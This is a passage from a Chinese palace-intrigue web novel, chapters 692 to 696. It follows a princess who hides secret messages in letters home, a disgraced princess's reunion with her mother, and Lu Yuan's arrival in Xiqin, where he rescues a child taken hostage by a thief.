仿佛只此浅浅淡淡的这一句,便足以打断轩辕玥所有的思绪,于是,她又一次将笔放了回去。 锦兰不明白地问了句:“怎么了?” 轩辕玥想了想,说:“锦兰,你快去把之前我们收着的那些信全都赶快拿过来。” 锦兰皱了皱眉,甚是不解地问:“公主要那些信做什么?” 轩辕玥催促着道:“我自有用处,你赶快去拿来。” 很快,锦兰便从梳妆台上的一格里将厚厚的一沓信笺捧着过来,交到轩辕玥的手里。 轩辕玥一边将其接过,一边吩咐锦兰:“锦兰,快点儿帮我多拆几封出来。” 说着,俩人很快便将那些信中信抽了几张出来,铺开在案前。 轩辕玥这才再次在案边坐了下去,复又提起笔来,写下。 母后大人在上: …… 第六百九十二章:一季,一信 母后大人在上: 见字如面。 圣人云:孝有三,大孝尊亲,其次弗辱,其下能养。 儿臣深蒙父母之恩,本该感恩戴德,承欢膝下。 实则却是置身于千里之外,大小无一事可替父皇母后分忧,就连三孝之中最下等的孝也做不到。 为今只能日日祈求上苍保佑,父皇母后身体康健,心情愉悦! 儿臣更叹时光如白驹过隙,不知不觉分别已数年,看着海儿如今一日日长大,方觉为人父母者一路走来之辛劳。 只是不知何年何月,才能再见父皇母后一面…… 轩辕玥尚还未写完,梅志煊果然已悄悄进入殿来。 锦兰一看到其身影此时出现,本能反应心里惊了一下。 继而赶忙朝其屈膝行礼,正欲开口问候。 忽被梅志煊伸出一只手来挡了回去。 锦兰仍似有些不放心,遂瞥了眼轩辕玥书案边放着的一堆书信,却终还是无奈地退了出去,替俩人将门轻轻掩上。 梅志煊悄悄来到轩辕玥的身后,看着她所写下的埋藏在心底深处的思念,轻声地问:“玥儿这是想家了?” 对于眼下这一幕,轩辕玥其实早已预料,亦已觉察到梅志煊的到来。 闻声,却仍然故作一副什么都不知道的表情。 甚至有些惊慌地站起身来,朝其行礼道:“殿下什么时候进来的?怎么玥儿都不知道?” “锦兰,殿下来了怎么也不通报一声?” 说着,遂在锦兰方才所站立的地方望了一眼过去。 梅志煊道:“本皇子已经让锦兰退下去了,玥儿不必找了。” 看到梅志煊目不转睛地看着那堆信。 轩辕玥却依旧故作并未察觉,遂试探着问了句:“听说永乐公主昨儿夜里闹腾了一晚上,一大早便嚷嚷着要见殿下。公主她……没事吧?” 梅志煊一副若无其事的样子,道:“没事,玥儿不必担心。” 轩辕玥一眼便看出他肯定有事瞒着自己,可梅志煊什么都不说,她自是也不能问, 最后只能笑了笑,道:“没事便好,不管怎样,公主既然已经回国,殿下还是务必要将公主仔细安置好了,以免落人口舌。” 梅志煊并没有再回答她什么,目光遂一直落在桌上的这堆书信里。 半晌后,似是有些惊讶地问:“这么多书信,都是母后写给你的?” 轩辕玥这才顿回过神来,赶忙从其中随便抽了一封,当着梅志煊的面打开。 说:“是啊,纸短情长,一年四季,一季,一信,这里的每一封书信,都是母后对玥儿的惦念。” 遂将其展开来,故意往梅志煊身边凑近了些,说:“殿下快看,这是去年秋天的时候,母后写给玥儿的。” “母后告诉玥儿,说风华宫里的柿子树这一年长势颇为喜人,硕果累累,远远看上去像一个个火红的小灯笼一般,把树枝都压弯了,满宫的宫女太监们都跑去爬到树上去摘柿子,可热闹了。” 说着说着,轩辕玥眼中忽然噙满了泪水,声音亦愈来愈低沉:“只可惜,玥儿这辈子却再也爬不了那棵树,再也吃不到比风华宫里的那棵柿子树上所结出的更大、更软、更甜的柿子了。” 担心泪水落下,轩辕玥悄悄将其抹了一把,继而将这封递到身旁的梅志煊手里。 自己又抽开另外一封来:“殿下再看这封……这个是去年寒冬腊月母后写给我的。” “说的是风华宫的绿梅,那是玥儿及笄礼的时候亲自种下的,就在去年腊月,竟然开花了。” 一时间,轩辕玥似是忽又变得兴致勃勃起来:“殿下可知,绿梅是最具君子气质的梅花,绿梅花白而萼绿,自然如玉,美如瑕,最是超凡脱俗。” 仿佛仅仅只是想一想,心中便很是欢喜:“天然玉腻细生香,斜倚东风竚淡妆。在西秦,绿梅意味着坚强,即便在最寒冷的冬季,依旧能傲立绽放于枝头,无论环境多么恶劣,也丝毫阻挡不了它盛开的步伐!” 说着说着,眼里满满是希冀地道:“玥儿真的好想亲眼见见自己所种下的那株绿梅,花开的样子。哪怕就一眼,也是好的。” 伴随着自己的想象,沉默了片刻后,轩辕玥再次重新翻了一封信出来。 将方才的那封依旧递给梅志煊,展开新的一封:“这是今年开春后……” 打开这一封,轩辕玥脸上顿现出满脸愁容,遂低沉极了地说:“年关刚过,母后便说她前段时日生了一场大病,本来不想与我再说,可她又觉得,在这个虽说天大地大的人世间,却只有我们母女彼此连心,所以还是忍不住想告诉我……” 此刻,轩辕玥直觉瞬间鼻子一酸,便终于再也忍不住流下了泪来。 泪水,瞬间模糊了视线。 梅志煊手里拿着轩辕玥递给自己的上一封还是深秋时节的书信。 同前一次一样,将那信翻来覆去看了看,似是并未发现任何不妥之处。 忽瞥见她落下了伤心的眼泪,于是放下手里的信笺,默默地附手上去,轻轻拍了拍她的肩。 继而又将她顺势揽入到自己的怀中,安慰道:“玥儿不要难过,相信母后她不会有事的。” 轩辕玥窝在梅志煊的怀里一边抽泣着,一边说:“在西秦的时候,从小到大,玥儿一直觉得自己想要什么便就能得到什么,无拘无束想做什么便就做什么。” 顿了顿,又道:“可在这里,玥儿想要做任何事却都得小心翼翼,战战兢兢,这些年,玥儿属实觉得自己真的好累,好累。” 梅志煊想了想,在她耳边信誓旦旦地说:“玥儿且再最后忍耐些时日,很快,我们便都不需再忍了!” 安慰好轩辕玥。 一出门,梅志煊心里便默默地肯定道:“那些书信看起来的确并没有什么问题,或许,真的是本皇子多心了!的确不该怀疑玥儿,他为了本皇子背井离乡远嫁至此,对本皇子的一片赤诚,应该是真的。” “锦兰……” 直到站在门外的台阶上,眉头紧锁着亲眼看着梅志煊是真的彻底离开了院子,轩辕玥方才舒展开来,紧忙回头将锦兰一起叫了进去。 锦兰一进门,便着急地问:“殿下没发现什么吧?” 轩辕玥一道与锦兰一起整理案上的信笺,一边道:“幸好本公主出嫁前早有防备,已与母后有所叮嘱。每次写给本公主的信都是两封,一封用正常的宣纸书写正常的家书,另一封则用薄如蝉翼的蝉羽纸传递消息,正常家书保留备用,蝉羽纸上的信息看完即刻烧毁,如此夹带折叠亦看不出任何破绽,想必应该不会被发现!” “还是公主聪明,奴婢方才都快被吓死了!”闻此,锦兰终于长长地舒了口气。 轩辕玥只要一想起梅志煊质问自己与母国书信往来的那个眼神,便心里发毛。 遂说道:“与其让他总是心生好奇地惦记着,不妨让他亲眼见一次。如此一来,他的好奇心也便不会再那么重了。” 锦兰却是从方才一开始便一直都不解地问:“可公主又怎会知道三皇子这个时候会来?” 轩辕玥想了想,说:“因为他的眼神,已经告诉了本公主他的怀疑。加之近日发生了许多事,促使他凡事不得不更加仔细了。” 锦兰又道:“那是不是从此以后,殿下便就会对公主绝对信任了呢?” 轩辕玥哼笑了一声,道:“当然不会,反而,日后我们必须更加小心才是。” 锦兰一边将俩人整理好的书信放回原处,一边叹声道:“这样提心吊胆的日子,究竟什么时候才是个头啊?” “是啊,本公主又何尝不想知道,这日子,什么时候才能结束?” 说完,便复又提起笔来,欲继续将方才的书信写完。 这时,锦兰在书架边,将手放在一只木匣上,问:“公主,这次还要不要我们从西秦带来的蝉羽纸啊?” 轩辕玥笔尖顿了一下,想了想,说:“以防万一,还是暂且不要用得好。” 锦兰抿了抿嘴,将手又收了回去。 至此,一室寂静,主仆俩人便再无一人说话。 没过几日。 果然,分封的诏书如愿以偿地送到了梅汐媛的手里。 梅汐媛着实高兴极了,她认真地审视着诏书上的每一个字。 一遍,又一遍。 生怕梅志煊让人在诏书上做下什么手脚,到头来自己又是白忙活一场。 她知道,这已是她翻身的最后一个机会了。 不知过了多久,梅志煊似是都看不下去了,索性直接亲自告诉她:“别看了,这封诏书,千真万确,不会有任何问题的!” 闻声,梅汐媛终于收起了手里的诏书,赞叹道:“我果然没看错,三皇兄果然有魄力,相信日后一定会是个好君王!” 事已至此,梅志煊根本不屑与她废话:“废话少说,现在可以告诉本皇子那拓跋泽的下落了吧?!本皇子该去哪里寻他?” 梅汐媛忽然缓缓说道:“三皇兄别着急嘛!我可并没有说要告诉你拓跋泽的下落呀!” 闻此挑衅,梅志煊顿朝其扬声喝道:“你敢阴本皇子?” 梅汐媛想了想,遂笑着说:“我亲自去将他找回来!” 梅志煊听了,有些吃惊地看向她:“你说什么?” 这时,梅汐媛却忽然又提出一个要求…… 第六百九十三章:已经尽力了 “拓跋泽这个人戒备心极强,隐藏又颇深。若是三皇兄就这样忽然去寻他,以我对他的了解,即便你能找到他,亦根本不可能见到他本人的!” 梅志煊正在思量,梅汐媛却忽然又提出一个要求:“我保证此去西秦一定会将他给你带回来,可在我离开东宁前,让我见母后一面!” 闻声,梅志煊顿回过神来。 显然如今的每一步,都是被眼前的这个女人牵着鼻子走。 于是他便试着拒绝说了句:“如果本皇子不答应呢?” 梅汐媛像是胸有成竹极了地说:“既然皇兄你没有诚意,那便就算了,这笔交易取消好了,大不了咱们两败俱伤,看谁输得更多……” 一时间,梅志煊气得牙直痒痒,他竟拿她一点儿办法都没有,最后只能点头同意:“好了,本皇子答应你便是!” 并同时警告她:“不要妄想再耍什么花招,否则,本皇子定让你死无葬身之地……” 闻此,梅汐媛却在嘴角斜出一抹令人捉摸不透的弧度来。 是夜。 皇宫一角,宫殿依旧还是那座宫殿。 只是尔今住在宫殿里的人,却早已卸去了一身华服,满头珠翠。 此刻,身着一袭青色素衣,手执一串佛珠,正口中念念有词着,虔诚地伴在青灯古佛下。 殿内,升起香烟袅袅. 梅汐媛得到允许后,几乎是一路飞奔着至此。 借着殿内微弱的烛火照耀,待到目光一锁定那个令自己朝思暮想,无比亲切的身影。 整个人不禁一手扶着门框,顿时都怔在了原地。 身体随之竟颤抖了起来,双腿亦再也迈不开了。 感觉一切都是那样的好不容易,眼眶中似是还有泪水在打转。 不知过了多久,方才发出一阵颤颤巍巍的声音来:“母后……” 闻声,继后只觉自己的心骤停了一下,忽地将眼睛睁了开来。 却依旧只觉如同过去无数次仿佛在梦游中一般,但还是忍不住缓缓朝着身后传出声音来的方向回过了头去。 顿时间,继后朝着梅汐媛所站立着的方向缓缓瞪大了眼睛,惊呆了。 像是连话都说不出来了一般,断断续续地道。 “皇儿……” “真的是你吗?” “是你回来了?” “你真的回来了?” 闻声。 终于,梅汐媛再也忍不住一下抬腿便跨过了门槛,朝继后身边扑了过去。 将继后一把紧紧地抱住,泪水瞬间夺眶而出,激动不已地道:“母后,儿臣回来了!” “儿臣总算是再见到母后了。” “儿臣还以为这辈子再也见不到母后了呢。” 继后一边用手轻拂着梅汐媛乌黑柔软的头发,一边亦高兴极了地道:“听宫里有人说你回国了,母后还不相信,还以为是自己幻听了,没想到,这居然是真的。” 片刻后,梅汐媛缓缓松开怀抱,仔细打量着继后的装扮,以及与其鬓角所生出的许多白发,问:“母后,儿臣离开东宁后,到底发生了什么,你怎么变成现在这样了?” 继后一边将梅汐媛扶着坐下,一边徐徐道:“此事说来话长,皇儿快坐下,母后与你慢慢说来。” 听了继后的一番诉说,梅汐媛紧紧握起了拳头来。 最后嘴里愤愤地道:“我就知道一定是她,衣上云这个贱人,看我以后怎么收拾她?” 其用力之狠,似是就连拳头都发出咯咯响声来。 这时,继后忽然开口询问:“对了,这几年,你与秦王之间,相处的可还好,他待你好吗?你怎么一个人回来了?” 一时间,梅汐媛冷不防地居然真的不知该如何回答她,遂赶忙眼神躲闪着,支支吾吾道:“我……” 遂心下里急急琢磨着:“被休逐回国这件事,经陆远这么一闹,如今宫里已然无人不知,无人不晓。怕是母后早晚都会知道的,与其让她从别人那里捕风捉影得知这个消息,还不如我自己来说。” 一念至此,梅汐媛决定将此事如实相告。 忽见她立起身来,紧接着,便“扑通”一下,在继后的面前重重地跪了下来。 继后明显被其举动惊了一下,问:“你这是做什么?到底发生了什么事?” 梅汐媛深呼吸,方才终于鼓足了勇气。 继而坦言致歉道:“母后,对不起,是儿臣无用,没能讨得那秦王轩辕翰的欢心,如今已然和离回国,儿臣自知,实在无颜见母后大人,还望母后原谅。” 闻此,继后亦顿立起身来,朝其连连惊道。 “你说什么?” “和离回国……” “你与那秦王……” “怎么会这样?” 对此,梅汐媛亦是无奈地很。 岂料继后不但不维护和安慰她,兀自只怒不可遏,竟出言谩骂她了一句:“废物,真是废物,你怎会如此没用……” 一并想起至今浑浑噩噩的梅志豪来,继后简直要被自己所生下的这对兄妹气疯了:“你们兄妹俩,居然没有一个有用的,真是气死我了。” 一时间,气急攻心的继后直觉天旋地转,似是快要晕倒了一般,身子摇摇晃晃了起来。 梅汐媛见了,赶忙伸手上去想要将她扶住,岂料继后却一把将其无情地推开:“走开,不用你扶!” 遂继续责备她:“从小到大,我是让人怎么教你的?怎的会连个男人的心都俘获不了,你还活着有何用?堂堂一国公主,千里迢迢跑去和亲,居然原封不动地被退了回来,皇家的颜面,都被你给丢尽了。” 想起自己这一生,继后苦道:“原本想着,还指望你来弥补我的遗憾,没想到,居然还不如我。” 继后怎么想,怎么生气:“你……” “你真的是要气死我吗?” 看到继后的愤怒,梅汐媛几乎哀求一般抱紧她的腿,谨小慎微地道:“母后息怒,儿臣,儿臣是真的已经尽力了。” 而一想到,造成自己今日屈辱的罪魁祸首,她便恨得牙直痒痒:“都怪她,如果不是她使出狐媚之术勾引秦王,从中作梗,凭藉儿臣的才华,怎会做不到?” 继后似是从这句话里意识到些什么,便问:“你说的她……是谁?” 梅汐媛咬牙切齿地道:“是衣上云!” 继后不解地问:“那是什么人?” 梅汐媛气不过地说:“她就是父皇亲封的永宁公主。她与秦王,在儿臣嫁入王府前便就熟识了。” 继后这才恍然大悟:“原来是她?” 回忆过往,继后至今似是都记忆犹新:“此人确实了得,就连我都不是她的对手。” 梅汐媛却信誓旦旦地说:“母后放心,这个仇,我一定会报的。” 闻此,继后缓缓看向梅汐媛的脸。 这时,梅汐媛将带来的诏书交到了继后的手里,说:“儿臣有要事要出门一段时日,这个诏书母后仔细收好着,等到这次儿臣回来,我们母子三人便就有好日子过了,这辈子,我们再也不分开了!” 继后自是还不知道这诏书的内容,遂握着那道看来似是得来极其不易的诏书,问:“你说你要出门?去哪儿?” 梅汐媛深吸了口气,说:“有仇报仇,有怨抱怨,这一件件,一桩桩,所有的事,总该都有个了结才是。” 这一刻,继后仿佛有些听明白了梅汐媛说的是什么,可又不知该对她说些什么? 在梅汐媛的心里,她是多么希望继后能对他说些什么?哪怕只是一两句安慰的话也罢。 可到了,继后终是什么都没有说出口。 梅汐媛失望极了。 于是在朝其最后行了一个跪拜大礼之后,道了一句:“母后,珍重……” 便起身来,头再也不回的转身离去。 看着梅汐媛离去的背影,继后心里五味杂陈,遂默默地看向了手里握紧着的诏书。 缓缓将其打开,目光落在上面的字迹上,顿时瞪大了眼睛,甚觉不可思议极了。 “这……” “这是……” “这到底是怎么回事?” 数日后,西秦国里。 秦王府。 看到程良从外面匆匆回来,轩辕翰沉声着问:“可已查清楚近来城里混入的那些细作,究竟是什么人?” 回来的一路上,程良心里总觉得有些蹊跷,于是回答说:“启禀殿下,属下都已经查清楚了,那些人,都是从东宁国龙虎城里赶来的。” 对于这个结果,轩辕翰着实感到有些意外,遂一边思索,一边重复了句:“龙虎城……” 程良点了点头,继续说:“根据我们安插在东宁皇宫的人传来的最新消息,说我们那批被人劫走的麻黄,就是龙虎城少城主叫什么陆远的查清楚事实真相上报朝廷的。” 轩辕翰紧忙追问:“那到底是什么人劫走了那批麻黄?” 程良犹豫了一会儿,道:“当初我们都以为是拓跋泽干的。可事实上,是永乐公主!” 轩辕翰的确对此有些意外:“是她?” “她怎么会有这种手段?”可轩辕翰亦深感疑惑。 程良说:“听说,是永乐公主离开王府后,在陆小姐的引荐下结识了拓跋泽,并与其结盟后,帮助永乐公主安排自己人干的,目的是,想要借此功搬倒根基尚还不稳的梅志煊。” 顿了顿,程良忽然想起一件重要的事来,说:“今日我们又探到,仿佛这几日将会有个大人物会来与他们会和。” “大人物?” 第六百九十四章:百闻不如一见 “大人物?” “什么大人物?” “是谁?” 听了程良的话,轩辕翰深邃的眸子怔了一下,连连追问。 程良缓缓摇了摇头,只说:“目前尚还不知究竟是谁?只知道此人在龙虎城,乃至整个东宁国内的地位都举足轻重!” 一时间,轩辕翰仿佛陷入一片沉思之中。 “那会是谁呢?” “现如今,龙虎城疫情刚刚解除,梅志煊至今都尚还未在朝堂上立稳根基,想来眼下根本分身乏术,无暇亲自来刺探西秦国情。” “那么,如此举足轻重的人,在东宁国,和龙虎城内,还会有谁呢?” “难道是……龙虎城城主府的人?” “龙虎城对于东宁国至关重要,它乃东宁之命门之城,而龙虎城里的大人物,便就只有这城主府的人了!” “听闻老城主久病缠身多年,那此人……莫非就是那传闻中年少有为,足智多谋且英勇善战,堪称一夫当关,万夫莫开的龙虎城少城主陆远!” “是他要来西秦了?!” 就在轩辕翰抽丝剥茧,层层分析出结果的时候。 程良却故作玄虚地转而又说:“殿下不妨猜猜那些人聚集在皇城里在做什么?” 闻声,轩辕翰朝其投来一个冷厉的眼神。 程良即刻变得老实下来,好好说话,乖乖回禀道:“这些人被分布在城中各处,似是在到处打听关于王妃娘娘的事情。” 轩辕翰果然为此而惊了一下,道:“他们在打听云儿的事情,难道他们与云儿相识?” 程良想了想,说:“他们与王妃娘娘是否相识,属下无从可知,但是,属下觉得,他们口中所说的那个大人物,想必定与王妃娘娘熟识,否则也不会如此大费周章,派这么多人千里迢迢来潜伏在西秦做这些……” 轩辕翰回忆往事,道:“云儿曾经很长一段时间,亲自驻守在龙虎城里救治过许多病患,难道她与陆远,就是在那时候认识的?” 回过神来,轩辕翰心里疑惑地道,“那陆远,他为何要找云儿?” 一念至此,他紧忙问程良:“可知他们现在都已查到什么了?” 程良道:“王妃的丧礼,皇城之中如今已然无人不知,无人不晓。他们所能查到的,自是亦只到这里,不过如此。” 说着说着,程良忽然灵光一闪,乍出一句:“殿下,此人该不会就是永乐公主吧?!难道她被休遣回东宁,对殿下怀恨在心,带人回来寻仇了?如果是这样,那我们岂不……” 程良正打算继续展开说下去,突然瞥到轩辕翰正朝着自己,射过来满载杀气的眼神。 这才赶忙止住了思绪,亦反应过来自己说了不该说的话,于是慌乱地赶忙遮遮掩掩着说:“属下还是赶快去查那所谓的大人物究竟是谁吧?” 就在程良转身欲要离去的时候,轩辕翰忽然开口将他叫住:“等等……” 程良不得已,只能硬着头皮顿足再次朝其转回身去,问:“殿下还有什么吩咐?” 轩辕翰想了想,说:“待到龙虎城陆少城主到了西秦后,帮本王约他见一面。” “龙虎城少城主?” 程良惊诧地看向轩辕翰的脸,重复了一遍。 继而很快反应过来,说:“难道殿下的意思是……那些人口中所说的大人物,他是龙虎城的少城主陆远?” 轩辕翰单手附后,微微昂起首来,确定极了:“此大人物,非他莫属!” “是,属下明白了!” 至此,程良像是瞬间亦明白了过来,说完便转身离开了承华殿。 而轩辕翰却在嘴边默念着:“东宁国之命门,龙虎城……” 云海缭绕,翻涌之间。 约莫有月余的时间已过,此时已是深秋。 看崇山峻岭起伏,一望无际。 望云海日出,光芒万丈。 浮云出于谷底,薄雾萦绕在深处山中。 落叶沙沙,南雁啾啾。 秋风习习,蝉声渐疏。 仿佛千年的时光,俱都凝聚在这片片红叶之上。 古树静静岿然,黄叶散落,缀进一地黄毯之中。 陆远带着一队人马,风餐露宿,马不停蹄地赶路,此刻,终于踏上了西秦的国土。 欣赏着一路所到之处的沿途风景,不禁发出一声感叹:“这便就是八百里秦川之地了!早就听闻这里地域辽阔,其美令世人皆为之心驰神往,如今百闻不如一见,果然好一片壮丽山河。” 这时,一名侍卫骑马凑了过来,问:“少城主,前面马上便就到西秦皇城了。待会儿,不知三皇子所派来的人,该如何安置?” 陆远想了想,吩咐道:“等到了西秦皇城,安排他们去做一些无关紧要的搜索便是。” 侍卫想了想,又道:“朝上三皇子的心思昭然若揭,他此举明显是在示好,想要博得咱们城主府的拥戴。” 陆远对此嗤之以鼻,说:“就他?还不配让我龙虎城城主府对他俯首称臣!” 顿了顿,继而又斩钉截铁地道:“这个世上,除了永宁公主,谁都妄想得到龙虎城城主府的助力,尤其是我陆远的衷心。东宁国国君的位置,亦只能是公主一人的。若是谁妄想要抢夺,我龙虎城城主府陆远第一个便不答应。” 侍卫听了,心里有些犹豫,吞吞吐吐地说:“可我们派来的人已经找了快大半年了,公主她……” 未等侍卫将话说完,陆远便急急将其打断,肯定极了地道:“公主她吉人天相,一定还活着。” 侍卫一见其决心,亦赶忙附和着道:“是,公主一定还活着。” 顿了顿,侍卫朝其请示道:“那接下来,少城主打算怎么做?” 思虑片刻,陆远再次开口说:“想来,与那秦王轩辕翰,必不可少得先见上一面,或许会有些新的收获。我亦很想看看,他何德何能,是否有三头六臂?敢先后迎娶我国两位公主。竟然如此无能,连自己的女人都护不住,还算什么灵空战神?如有必要,我要亲自让他领教一下我城主府的厉害。” “驾!” 话刚说完,陆远便策马扬鞭,在脚下一片广袤的土地上飞驰起来,马蹄飞快,扬起一阵阵尘土来。 黄昏时分。 伴着夕阳余晖,陆远终于与自己的先遣队伍汇合在了一起。 人一到,便迫不及待地召集众人。 听闻了一众人的仔细汇报后,方才得知秦王府果真已经置丧,昭告天下秦王妃已故的事实。 更加获悉,秦王府很快便即将又有一位侧妃入府。 陆远气愤地发出一阵感叹来道:“由来只闻新人笑,有谁听到旧人哭。这个西秦秦王,还真是惯爱喜新厌旧。可怎会有人传说他冷若冰霜又不近女色呢!嫁给这样的人渣,公主还真是不值!” 一时间,在场所有人似乎俱都陷入一片迷茫与无奈之中。 陆远亦略显疲惫,遂捏紧眉心,摆了摆手,众人便都纷纷退下。 一室寂静,他就这样一个人静静地呆着。 晚风阵阵,烛火惺忪。 陆远终于动了动,拿出并凝视起手里衣上云离开龙虎城去寻麻黄前,曾亲自交到自己手上的这面玉色凤凰腰牌上。 它所承载着的,是整个龙虎城,乃至整个东宁的民命。 瞬间,衣上云离开前所说的那些话再次在他耳边回响起来。 “待本公主将麻黄带回之日,便是整个龙虎城大疫终结,龙虎城城门大开,百姓们重见天日,回家团圆之时。” 过去的往事一幕幕,尚还都是那般的记忆犹新,顿然一下就全都一一浮现了出来。 可陆远怎么都无法相信,更不能接受这一切结果。 他郁闷难过地自言自语起来,对着手里的腰牌道:“如今龙虎城一切安好,恢复如初,可公主你却再也回不来了……” 不知又过了多久。 陆远终于暗暗下定了决心:“无论如何,陆远都不相信公主会这样丢下龙虎城,丢下整个东宁国不管不顾了。有道是活要见人,死要见尸,就算寻遍天涯海角,陆远也一定会为东宁的所有子民将公主找回来的。” 翌日一大早。 陆远便收到了轩辕翰的邀请函。 一名秦王府侍卫登门将一封信亲自交到了陆远的手里:“我家殿下听闻少城主来到了西秦,特诚邀少城主在王府一聚,还望少城主赏脸!” 如此一来,果然不出陆远所料,自己的潜伏已然被轩辕翰所察觉。 索性便亦不再遮掩,于是开门见山地乐道:“如此甚好,正好,初到西秦,我亦想见大名鼎鼎的灵空战神秦王殿下一面,有劳请帮忙带路……” 秦王府。 轩辕翰早已命人设宴等待着。 侍卫一将陆远带到府里,轩辕翰便笑脸相迎:“陆少主,欢迎来到西秦!” 陆远亦将轩辕翰很快打量了一番,称赞道:“真是百闻不如一见,西秦秦王气宇轩昂,果然尊贵天成!” 轩辕翰客气地道:“请坐!” 陆远一边坐,缓缓开口,徐徐说道:“陆某此次前来贵地叨扰,是特地来感谢秦王殿下在龙虎城突逢大疫时,能够慷慨解囊,施以援手,解救我一城百姓于水火,陆某感激不尽!” 说着,便捧起了案上的一盏酒…… 第六百九十六章:十里长街抓贼 “抓贼啊……” “别跑……” “快抓住他。” 此时,被这阵呼喊声所吸引的陆远顿回过神来,抬头朝正前方一看。 只见脚下的十里长街之上,远远地,正迎面而来一男子。 飞快地狂奔穿梭在闹市的人群之中,并极其轻巧的闪避了周围一波又一步众人。 男子一边跑,一边嘴里急急叫喊着:“闪开,快闪开。” 而那阵与其同时一起不断喊着抓贼的声音,明显便是从其身后所传来。 可显然,周围无一人敢阻拦此亡命之徒,生怕自己受到伤害。 就在男子正好经过陆远身边,与其将要擦肩而过的时候。 陆远顺势冷不丁地伸出了一条腿去,那名男子便瞬间被绊倒,狠狠地栽倒进街边的一只垃圾框里,吃了一嘴的烂菜叶儿。 “谁?” “是谁绊倒老子的?” “不要命了是不是?” 那男子倒地后,嫌弃极了地吐掉嘴里的污秽之物,紧接着骂骂咧咧的说着。 霎时间,引来了众多围观看热闹的人。 男子一见被人围了起来,已然无法在逃,还开始对自己指指点点,议论纷纷。 便顿时恼羞成怒,竟忽然从身上掏出一把锋利的匕首,站起身叫嚣起来。 “还不快给老子出来!” “究竟是谁如此大胆,敢坏老子的事儿?” “有种做,没种承认是吗?” “快出来!” “若是再不出来的话,老子就要大开杀戒了!” 说着,目光忽然锁定了面前一位妇人手里正牵着的,约莫三岁左右的女童。 遂眼疾手快地一把将其拽了过去,紧紧束缚在自己的身前,继续朝人群里叫嚣。 “我再说一遍。” “到底是谁绊倒老子的?” “若是再不自己滚出来受死,老子便先捅死这个小丫头。” 霎时间,周围人群里无一人不瞪大了眼睛,惊恐的看着眼前所发生的一切。 那妇人早已心急如焚,吓得跪在地上哭着朝其一边磕头,一边祈求:“不是我们,不关我们的事,你放开我女儿,放了她。我求你,我求求你了。” 而那被紧紧束缚着的小女孩,手里紧紧地攥着一支糖葫芦,早已吓哭在原地,嘴里不停的喊着:“娘亲,娘亲……” 可那男子根本就无视那妇人的求饶,兀自只再一次朝人群里扬声大喝道:“现在我问最后一次,到底是……” “放开那个孩子!” 终于,人群里传出一阵声音,将其余下的所有话俱都打断。 众人纷纷朝其看去。 陆远站了出来,说:“是我!” 男子惊诧地朝其望了过去,似是被其不凡的气质怔了一下,将他一边仔细端详,一边责怪说。 “你……” “你是什么人?” “为什么要多管闲事?” 陆远略有些惊讶,缓缓开口说道:“没想到泱泱八百里秦川之地,天子脚下,十里长街之上,众目睽睽下,竟也有你这种亡命之徒。” 顿了顿,继续说:“刚才是我绊倒你的,你想做什么冲着我来,放了那个女孩。” “放了她?”男子重复了一遍陆远的话,遂发出一阵讥笑。 心想:“此人一看,便知非富即贵,我又怎会是他的对手?眼下,如果一旦没有了挟持对象,今日怕是很难再脱身。” 就在男子迟疑之际,一位衣衫褴褛的老汉,气喘吁吁地追了上来。 一看男子手里挟持了个小女孩,便吓得整个人都哆嗦起来。 稍作思量,便欲妥协并开始对其语重心长地劝导起来。 “顺子啊,你是我亲眼看着长大的,虽不是我的孩子,但更比我的孩子要亲。你听大叔的话,千万不要伤害她,如果你一旦伤了她,便就再也回不到头了。” 说着说着,似是又忽然记起了什么,再次着急地说:“对了,那些银两,我亦不要了,我都给你,你都拿去还你欠下的赌债,只要你保证不伤害那个小女孩,你都拿去。” 可即便如此,男子却依旧恨恨地道:“臭车夫,你早这样不就什么事儿都没有了吗?你家那药罐子都已经痊愈了,你留着这些钱做什么?如今我不就拿了你一点儿钱,至于跟我玩命吗?这又不是金子,等我翻本了,我加倍还你便是。” 老汉苦道:“顺子啊,你有所不知。不是我不给你,实在是因为这些银子,并不是我的,终有一日,我是要还给别人的。” 男子道:“那个女人,你们只不过就一面之缘。这辈子到你死,还不知道能不能再遇见?她既然将那些钱都给了你,你又何必耿耿于怀。还是你要留着它,带进棺材里去吗?” 老汉解释说:“顺子啊,不是这样的,我们虽然穷,但是也要知道做人要讲信誉……” 此时,看着周围围着看热闹的人越来越多。 男子似是亦已经没有了耐心,便打断了老汉的话。 “你莫要再与我胡拉乱扯了,今日都是你一路追赶嚷嚷着,才使我走到这一步的。现在好了,满大街的人都看到了,你还让我怎么全身而退,我以后还怎么见人,可能,指不定官兵亦马上就来了。” 男子越往下想越着急,越着急,便越慌张不知所措。 他惶惶不安的看着周围密密麻麻的人:“今日,我就是死也要拉个垫背的。这一切,都是你害的。” “让一下。” “让开一下。” “人在哪儿呢?” 就在两人说话间,闻讯而来的官兵亦已找了过来。 那男子见状,一怒之下,便高高扬起了手中握着的匕首,欲要朝小女孩刺去:“去死吧!” 就在这千钧一发之际,陆远小心翼翼地从身上摸出一块碎银子来。 霎时间,只闻“咣铛”一声响,那把匕首便就落在了小女孩面前的地板上。 男子顿觉自己握着匕首的胳膊袭来一阵酥麻感,便就本能一般地用另一只手去扶。 就是此刻,两名官兵三部并作两步上前顷刻间便将那男子控制住。 妇人亦乘机快步上前将自己的女儿一把捞了起来,紧紧抱在怀里,安慰她。 “妞妞,别怕。” “没事了,没事了。” 继而转身来到陆远的身旁,朝其屈膝行礼,连连致谢:“今日幸亏公子出手相助,否则妞妞怕是就凶多吉少了。” 陆远回道:“大嫂不必客气,妞妞受了惊吓,快点带她回家去吧。” “多谢公子!” 妇人说完,便就抱着孩子急急离去。 男子亦被官兵带走。 霎时间,周围传出掌声不断来。 人群散去。 老汉紧紧盯视着再次回到自己手中的钱袋,哭笑不得地感慨说:“人生多少悲欢离和,何尝不都是银子惹得祸!” 遂一回过神来,赶忙朝身边的陆远致谢:“今日真是多谢公子了,方才如果不是公子出手,一旦铸成大错,顺子怕是这辈子就完了。” 陆远礼貌地回他:“举手之劳而已,老伯不必客气。” 老汉这才似是反应了过来:“看公子的面相和口音,莫不是西秦人?” 陆远笑了笑,道:“老伯好眼力,我的确不是西秦人士,我来西秦,只是为了寻一个人。” 老汉问:“那……公子可已找到想找的人了?” 陆远摇了摇头,有些无奈:“尚还没有找到。” 老汉遂想了一瞬,道:“公子有所不知,我是个老车夫。平日见的人最多,公子不妨说说看要找的人是什么样的,或许我能帮助你。” 想着也是,于是,陆远忽地想起什么来。 只见他很快便从怀里掏出一张女子画像来。 这张画像,正是陆远亲自凭借着自己与衣上云相处的日子里的那些记忆,花了许多功夫,方才终于完成的。 